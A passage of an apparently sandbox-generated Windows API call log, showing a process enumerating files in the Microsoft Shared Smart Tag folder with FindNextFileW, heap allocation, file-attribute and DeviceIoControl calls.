nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0051.043] GetLastError () returned 0x12 [0051.044] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.044] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.044] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0051.044] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.044] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0051.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0051.044] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.044] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.044] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.044] NtClose (Handle=0x170) returned 0x0 [0051.044] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.045] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0051.055] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.321] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.321] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.321] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.321] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.322] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0051.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0051.323] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee7c8 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef790 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.323] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee7e8 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef898 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.324] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0051.324] GetLastError () returned 0x12 [0051.324] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0051.324] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.325] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.325] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0051.371] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0051.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.378] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0051.379] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.379] NtClose (Handle=0x170) returned 0x0 [0051.382] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0051.681] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.683] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0051.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.684] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.685] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef9a0 [0051.687] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee808 [0051.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefaa8 [0051.689] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.689] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, 